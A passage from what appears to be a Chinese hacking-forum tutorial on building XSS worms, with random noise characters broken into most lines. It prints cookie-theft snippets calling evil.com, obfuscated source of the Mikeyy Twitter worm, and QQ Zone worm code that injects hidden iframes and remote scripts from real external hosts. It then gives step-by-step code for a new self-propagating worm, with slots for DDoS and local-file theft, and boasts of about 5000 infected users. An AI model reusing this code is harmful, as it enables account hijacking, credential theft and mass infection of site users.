9 z4 ^2 }6 \3 b复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
; L8 ~1 m* v" b2 @6 m9 W* N3 d( s. A3 Y1 x
8 T/ z9 z6 _( ~7 q% I+ Zvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
" H" ]9 b. o% P% z, l' R# {
XmlHttp.open("GET","http://www.google.com",false);
" K4 ]. E  v1 k
& R: }6 K; N- B2 u6 H$ [! @$ @, V5 YXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

7 J0 y. B  f( }8 b6 d4 C! IXmlHttp.send(null);
6 o# P8 }  \( y7 ^+ l/ w
: H" w  T% w, p2 u5 K( R- E4 o5 a8 K</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
+ v& H* h4 {+ Q. B8 a8 j, S8 y
" H/ E( Q2 E% R9 U; `0 ?) J+ evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


; p' ~, m$ O; ^, N8 x% E1 ~+ }
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

/ Y8 d) Q. W2 b# lXmlHttp.send(null);

, _. ~# m$ d6 l# l+ z, C<script>
8 o3 [" D2 X! ^3 v  s复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
5 f$ z8 O1 d$ N# k% x1 ?2 e, v第一版:
4 J  Q& {8 J8 `0 A7 K  下载 (5.1 KB)
2 t; F, t* I" X, U7 e' w+ A
6 天前 08:27
# B& X; W8 V' z- v
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
) i1 v2 D2 H5 Q; ~4 _
! j+ i& x; H* u- l3 [/ `   2.   

) S0 x( v5 p1 G0 T( Z0 n   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
- _) `  D$ V5 j! F% a# H
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
4 p% B5 w  x( D# i
8 Z0 J7 q8 I: |9 L   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

$ I7 z4 F: e& `. t   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
  _( u8 N- ^! P8 z5 x. }' A: z
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
) U7 k0 m( M: @
   2.   var content = document.documentElement.innerHTML;  
6 i) n2 f7 U9 T9 b* j
( h, C5 U3 D# [   3.   var tmp_cookie=document.cookie;  

) @* x: r' P. g/ N! Q% K   4.   var tmp_posted=tmp_cookie.match(/posted/);  

6 I9 o) K  K8 n/ V  L9 a   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
9 _+ `* H+ ?6 |# E3 K
: U! P1 K2 P  y0 H0 ^* \: L* @   6.   var authtoken=authreg.exec(content);  

% Q6 o# x6 ]% h% y9 h3 a   7.   var authtoken=authtoken[1];  
" f% K' |+ Y. a
   8.   var randomUpdate= new Array();  

# }7 x& ~5 r5 }5 t   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
: T4 X( C% H+ }. y/ {6 w
% A$ J( H3 \  r7 Z. I- o  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
* X; v7 p( s1 }: w9 `0 c0 F0 z7 U& R
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
% S3 t. B8 s" E+ ]+ X( v
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

: n8 m: a! |6 w' k; p8 m: ^, c  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
3 p% i9 i" G) |- I3 ^! B
6 G( j! R- x$ G/ t( i  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

; X  U* H; ~8 o3 C  e% r3 O! t  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
+ u2 T6 a5 Q1 a6 X7 _
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

+ N; E  m, D7 Y  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
0 \4 ?% _: U% w$ v1 Q" N
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
! b" [5 o, E9 U- H
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
; B7 u" u! D, g& @2 A7 p* \, F' M
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

# l+ m# G! P0 u  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
# i! Y5 ^7 S7 }
3 F! R* e  c, ~0 o8 R+ q" T  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
5 o# b- a# L+ z  h$ t, A7 X2 s( X
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

, D9 c% L+ J6 \1 ~( V0 K  27.     

  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

/ V) D( s4 ^6 A9 @2 L  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

% ^0 i3 }" D6 p1 N  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

4 Q/ h! M- X; _. f  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
0 |2 M3 F2 m2 P* U# ?% g
6 K: }7 r8 \2 e0 B: O  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

* X) }* N  M$ P  39. } ;  
4 s9 r5 j& i$ ^! I/ a% }4 }$ S  z5 k
  40. setTimeout(wait(),5250);  
( l+ q3 r4 F. b; w复制代码QQ空间XSSfunction killErrors() {return true;}
2 X% d5 @# b) o% K5 B7 S4 x
! x9 |0 b) D' G& bwindow.onerror=killErrors;
3 s# N* _* B  g3 W( I3 A! m
  t" K, v. v; Z& A4 {8 N" K3 r
; _6 B; J! G2 P7 C+ M0 P5 N
. \9 U0 N/ T  k* I" ivar shendu;shendu=4;
( {7 l1 E. J2 x- K7 u: Y
+ H$ a  J8 p) e2 U//---------------global---v------------------------------------------
$ \/ D9 o* b/ e! q; r- G  x1 ~  y
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
& M, c9 }# B) s& G& O' t+ ~* m9 p
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

& s9 D% Y+ ~+ _0 ?        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
0 C, G) Q! m( b$ _# `
3 f4 c' x+ `) @' Z7 x" T        gurl=gurl.substring(0,gurle+3);        
8 Y( _) w* K2 c0 H
! @8 W3 X7 S" j+ }: }) {        var visitorID=top.document.documentElement.outerHTML;

& t) P7 ~* ?/ j3 K. Q           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);
, p- |2 @, y4 S8 x
" f, y  }" E, o3 d9 G7 N        get_my_blog(visitorID);

! i& Y! a( ]( O0 `$ a( _" O        DOshuamy();
+ _0 @: V9 S. O% G
+ u2 W- s0 h7 r7 ~9 z
+ r+ z, [) h- {4 ]
//挂马

function DOshuamy(){

var ssr=document.getElementById("veryTitle");

5 w% O: g6 O: J- u& P# w* U" K+ Assr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}

" m0 {2 q1 [7 u8 t+ u" u

3 K% n! h: K: z8 ]0 C# }//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

4 \( ?8 T' F8 j4 `- d# o4 Qfunction get_my_blog(visitorID){
# C3 {4 o' H3 K1 Q
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
1 Y/ u3 T$ W8 d+ h
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
% {% W* |- V# R1 A% }4 N
& c5 y' H* e) ^0 o9 r3 Z   if(xhr){    //成功就执行下面的
% v( m( Z' W+ h; l+ t
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
. \' x( I$ r9 l
     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数
6 J/ C. g' p5 n0 \: C9 m5 ?
    }

9 U  V- I5 y2 I$ {9 ~. ]}

" \  L0 L9 H, z: z# F  L/ W1 Q. m
1 }4 f1 j5 d; w9 J( k4 i
//这里似乎是判断没有登录的

) {2 n' W" p# i. i1 [( n2 Qfunction get_my_blogurl(guest){
. q2 d/ ~  `1 j" t: }6 i6 y
  var mybloglist=guest;

/ L" W' [+ w& `" l, L) n7 X  var myurls;var blogids;var blogide;

; X( A: ~" C- O3 o0 ]  for(i=0;i<shendu;i++){
- j  Y- t2 N9 _
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
8 R5 S) b0 S2 K$ R
     if(myurls!=-1){    //找到了就执行下面的
- p$ \% W+ i& b
         mybloglist=mybloglist.substring(myurls+11);
: Q$ o: r1 L: O+ X$ ?/ J/ K* P
: o5 {9 ?* s) x7 b7 B         myurls=mybloglist.indexOf(')');

6 u) E8 m6 _. L. v  R- B# b8 d3 a         myblogid=mybloglist.substring(0,myurls);
' H& G/ W1 D7 f# j
        }else{break;}

}

& k" V7 V# g" q( L; i, \8 `* Eget_my_testself();    //执行这个函数
* p% D7 [; X% n
7 W! J! h8 i1 O) P4 k}
/ S) Z& \# ]% R  S
! {# ~# K" L3 Z, ]3 O7 `
$ x7 r4 w+ o0 W8 v0 F* n
5 b9 B* _5 |1 B//这里往哪跳就不知道了

function get_my_testself(){
5 B- ^4 W* L$ d7 K5 J# Z# |% Z% D/ f
. S( w1 x" w0 M( u& g' S  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
6 x/ a( t# S' C4 J6 ?% f# p
2 p4 z/ Y1 e1 e2 ?. ~* F$ F      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
/ P: A6 O, b% u' d- x. e+ G
5 J3 v8 y( R+ y      if(xhr2){        //如果成功
/ u" K! N5 K( k6 k+ C
0 R+ G  [; H4 C2 q7 G, x              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
- n  d9 F$ S' G$ R: n1 I
7 k4 o( e$ B8 S1 Y              guest2=xhr2.responseText;

! S# N( _+ o- z8 z$ v              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
2 |( c& K( W0 }% B% J* \& G2 @
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
- O6 h! w3 C9 n) H) h  p+ W
& g2 r9 j4 g7 ~% Q              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
; y' X: J8 N0 C/ ?3 C, T0 `9 M
  i9 ^% i/ N5 W4 t# `                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
% [# C2 D' G; o: I2 `' @" m( o2 Q" z' N
                break;

2 a$ O9 T( Q$ l$ @% v               }
; r+ H7 K) f. u4 I
              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
1 v2 `  ?8 F& H' ^% j; b1 b
8 K+ Q6 o9 V* y, t3 V: w- f                break;

5 q, _7 M+ n3 @# c0 D6 \% x+ I% ?+ W               }
8 Y) ?, H* ?4 e( x- y! T
+ u7 w0 x' s9 f        }      
! P5 i) G+ X4 ~2 u1 x
}
9 G8 z" b7 \/ \) L$ B  \$ a3 t- s, H
6 G( N& F- j( j0 F+ f( M. z}



; H! j" k( X- k* Q' L4 |  c//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象
: e( N7 g- Q: ]) q6 G3 }8 o9 [
$ N! K7 T  K  G1 ^0 lfunction createXMLHttpRequest(){
& j6 S6 X  c! |* ^, U% E, ]3 ]4 }* j
+ @# q$ s/ m# z, p    var XMLhttpObject=null;  

( r( h- E% c3 n, V4 [' w    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
5 U$ Y1 @5 k6 |+ ~
    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

$ \- _8 w. B- Q+ X        {  

  ?. l. w+ q( p8 u' p            try  
. |5 e# ?) d, u1 }
            {  
3 l9 h& P2 f% w8 u) Q( o% X) B
+ x( A1 b5 c$ W                XMLhttpObject=new ActiveXObject(MSXML);  

( f0 b3 L; d" ~3 |0 R3 E                break;  

; F! M+ @% s9 o) t; p            }  
9 B5 r9 b* d% Q) T- f
            catch (ex) {  
( u6 I5 s, W5 W; \* r
( [9 i+ b" C& t( o. O, `            }  
( a' W& m! ]% T. C$ `
9 W2 \8 |  _8 |$ i5 ?2 p9 o! W         }  
* E/ U5 C  A- a0 V! W
      }

return XMLhttpObject;
- m3 ?: k5 h" `8 S
}  


; w% h' ?8 P$ O0 d
3 [+ l- ?; ~0 L( e, L//这里就是感染部分了
( G& V0 x5 ^- B( {6 G
function add_js(visitorID,targetblogurlid,gurl){
  d, P1 e) w7 G9 X  L& Z! _
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
& C7 d- [" j5 ~9 k
document.getElementsByTagName('head').item(0).appendChild(s2);

}
$ e( I- G& }0 l$ @) u$ f: u

1 F' o  j! R- W
! p% _% b9 a+ h& k/ x; o( Kfunction add_jsdel(visitorID,targetblogurlid,gurl){

7 w$ V/ Q  r/ _var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

" ~4 F3 N! H/ h) Zs2.type='text/javascript';

+ J/ E/ J0 T: @/ F" g. Z$ Z( [6 g4 Ydocument.getElementsByTagName('head').item(0).appendChild(s2);
$ G7 A  f7 b% A( q' B# I" v
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

9 R: c( m5 A* s3 M  Y: G2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
+ n! {5 R1 _! y2 R$ p' ]
首先,自然是判断不同浏览器,创建不同的对象var request = false;

7 _8 ]2 e" p5 P% a: y3 Z: \4 `if(window.XMLHttpRequest) {
/ i1 H* j- M7 D' W8 s: _! M/ h
8 c0 B0 ~, z" rrequest = new XMLHttpRequest();
, K0 ]1 {6 _3 Z( K: u
if(request.overrideMimeType) {

  `" t; Z+ Z' erequest.overrideMimeType('text/xml');

3 C: l. o- g( a1 m% m. P3 h+ W}
+ X' ^( w) d2 \& o, L* t8 T; N
9 j9 [& i0 D; C2 {2 h/ a} else if(window.ActiveXObject) {
. b6 [! j: r. v5 e( ~4 p% z' [4 k
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {
, ~# H7 z8 R9 }  ^6 b9 y
request = new ActiveXObject(versions);

} catch(e) {}

6 q- A) G8 l- ~}
3 B4 w) P5 x6 T' k/ i
}
, b/ T' N' i+ l7 L( e2 G& d1 d
; k& ]) N; P$ I7 i7 C. B# YxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

8 i/ F1 W! H, _  }$ ]+ N+ y: {        var Browser_Name=navigator.appName;
; A3 n% p" _+ c
6 I8 S- \" L. j% o) C8 @6 v        var Browser_Version=parseFloat(navigator.appVersion);
! k' k/ U* j3 `: s! ?
- P. [* Z6 C( S1 Y: h. Y        var Browser_Agent=navigator.userAgent;
* B  n0 d5 O% x9 |$ w, T0 ~# ^
- Z6 k+ }; R2 `% i- o        
5 N- l' z5 j) U1 ?2 W$ V
        var Actual_Version,Actual_Name;

        
0 z8 A% F, s. ?8 u6 Z
) j5 f5 H2 d" d6 c5 W; K- c        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
0 o- t2 F8 E3 h* M  [; ^
. f, D# }6 t! Y6 ^7 P" R& O+ M; U        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
: k$ O, I8 A  C
% x( u4 U# B* d' X! ?" r        

! O; a9 e& Z- h- ?6 r4 o        if(is_NN){
& R* n6 T! n! j- A8 R2 [3 R
            if(Browser_Version>=5.0){
  I, S6 G$ }0 B, o0 L# \* r
' Z' V# Y+ d, ?, {& u                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
1 G- y+ e  L; L1 l9 W" ?
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
/ T5 O/ V0 A' \1 d! M

, z1 u# \) e0 ~; @
) m, B$ l6 D* K6 @: A                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
# f$ _. a% j2 p, r' K& }
            else{

% S7 B  K6 P$ r/ R                Actual_Version=Browser_Version;
3 [) x- F2 u6 n9 ^$ a+ t
  Z6 g& g" ^1 |$ k6 B# b3 n                Actual_Name=Browser_Name;
7 q% E% ]/ U: o: r
            }

        }
; u3 P! y9 {, ?0 b4 I, j' s
9 W8 z) N# w4 o/ P" X& S        else if(is_IE){
+ \7 X6 k9 l" l2 G- W& p8 u- k; O- D
. e$ M" K3 _- E% |" U            var Version_Start=Browser_Agent.indexOf("MSIE");
- ?6 U. ?8 H" P6 v# W6 C
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

6 y  g( e8 K4 X# f8 q* e            Actual_Name=Browser_Name;

; H5 V  m+ X# {) C' a            

% i, g2 f: z' Q$ p3 l            if(Browser_Agent.indexOf("Maxthon")!=-1){
( E$ h2 U, a1 c* u- N+ Z9 h
. e1 M% M$ f- j! {4 O! a                Actual_Name+="(Maxthon)";

; r) X0 D3 L* M$ R' w; x5 O9 Q            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

5 N, c: C6 _" c                var tempstart=Browser_Agent.indexOf("Opera");

! w1 l8 [' g* B! q3 o2 Y# _                var tempend=Browser_Agent.length;
& i2 s' V0 A( b1 s5 r0 M
: o/ {, y7 q1 l                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

' k7 L6 _8 C4 I" U  a2 S( b% O            }

        }
4 j+ T  s  R9 V
  W9 y8 m6 D( K' b# q        else if(is_Ch){
- l  j! L) ]; b+ @% V
& Y; v+ G) H# O* h3 N+ X            var Version_Start=Browser_Agent.indexOf("Chrome");

% h9 o% [$ w- W) V. A            var Version_End=Browser_Agent.indexOf(";",Version_Start);
2 K9 T% y# E( r# l& L1 I
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
0 H5 h4 _1 \  w
% R  M" X4 n+ g# }  g            Actual_Name=Browser_Name;

            
2 N9 u8 O) r  m  }0 }! R8 Q
! P# }& y! E( t& b: u6 Z8 g            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
" }3 ^" u+ b0 H
            }

! y  s4 D; U( K) M9 S7 I7 M- O            else if(Browser_Agent.indexOf("Opera")!=-1){
7 j: B0 o! Z) H/ }4 `
                Actual_Name="Opera";
; \. X$ u; ~8 J' G- |
- X7 A  i# j9 k2 ]% Y                var tempstart=Browser_Agent.indexOf("Opera");
5 C/ V& R" I6 N/ X2 \
                var tempend=Browser_Agent.length;

% P% @& N; E' C                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

+ J2 S3 g4 U+ [' d            }

        }

        else{

8 g: X; U0 h3 T# p            Actual_Name="Unknown Navigator"
2 ~4 P' v  ^2 a5 D+ ~# g# ]
            Actual_Version="Unknown Version"
1 s8 [0 l, j4 Y1 A/ g
4 P! Y2 x, C3 U8 g4 b! O$ N5 c        }

  D& {( W  j0 d. \: P
: Y7 m9 a. ^# I& G: F3 M
3 ~1 B3 X/ M1 t        navigator.Actual_Name=Actual_Name;

9 p2 F) O% y7 [* A7 W        navigator.Actual_Version=Actual_Version;
3 J. |' S7 I0 L1 P5 o& I7 a
: C1 @2 [6 P7 |2 U. Z        
( f, ~# D( e# h+ Y
& x+ ?! j' |7 h% @/ e. A6 T        this.Name=Actual_Name;
& c( a0 z; z& F
" r, |! i2 Z3 F8 _2 U- y+ M2 q% d        this.Version=Actual_Version;

    }
/ Z0 F; j( S" ?# P% d6 m5 B
; m, ?4 i5 h: W( G4 T% t0 ~    browserinfo();
0 e- O1 \+ s+ k3 e* L
: a+ b9 r  I$ @& ~( F    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

% q& v. i$ N+ @* ]2 E    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
3 ], U7 n" Q9 M
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
! J) N8 A; u: k3 v复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
0 D8 i6 ~' N4 N8 V  ]复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
- ^& C+ `1 a/ @9 n4 e/ x4 P
xmlHttpReq.send(null);
: x; n5 }2 {( n. ^
3 [3 V0 n4 C: z8 W& Fvar resource = xmlHttpReq.responseText;
* E" A% r6 i% C" h6 O0 O7 v
" w2 Y8 z. j" B) R, A4 vvar id=0;var result;

! m: I) x- D3 Z! S5 F/ xvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
& @- }6 |* }8 F. E; ]
while ((result = patt.exec(resource)) != null)  {
0 }- K  K9 S* R8 r; S
- q1 u% g* G- I# I* N8 Z* [id++;
/ [2 s. C1 u7 o% f8 w! t7 S) u
}
" e5 p, c2 \3 ]/ n& t复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

- Q  e9 `% o- Y7 y6 \no=resource.search(/my name is/);

4 d' a8 d1 k0 [( D2 c+ Xvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

$ P0 Z. R5 x6 A5 A( ?5 I. Ovar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

, ~/ {- E& M4 y# U  J* VxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
5 h9 J7 ?* Y$ X% N! n- z/ o( m
xmlHttpReq.setRequestHeader("content-length",post.length);

, p0 X5 u9 O* TxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
  V& l( B0 |% }. k+ L
8 Z2 Q- N3 P' o- J4 U! n4 }+ ExmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
, [: O$ `4 g: f8 C
' U1 I, t9 h6 ]4 ]2 w2 r! Avar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

0 j6 @8 F0 M+ J! rvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
0 p7 o7 `+ y/ G8 |
, H0 K6 Q  k" `! B8 pvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

4 N1 T" e' Z. JxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
8 O4 Z) O, A( B1 B
  h2 n; g# A/ K+ b' u0 A2 U. N+ wxmlHttpReq.send(post);                 //把传播的信息 POST出去.
" D. O# ]4 R9 D9 F& x
9 u. d3 E# J" a9 b}
, d: h' Q; w5 S9 A7 q8 A复制代码-----------------------------------------------------总结-------------------------------------------------------------------
+ ^2 t: E  X8 j: O


3 v3 L+ e- Z5 l: I, d+ v本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
. u3 H4 S- O# j3 F2 B蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
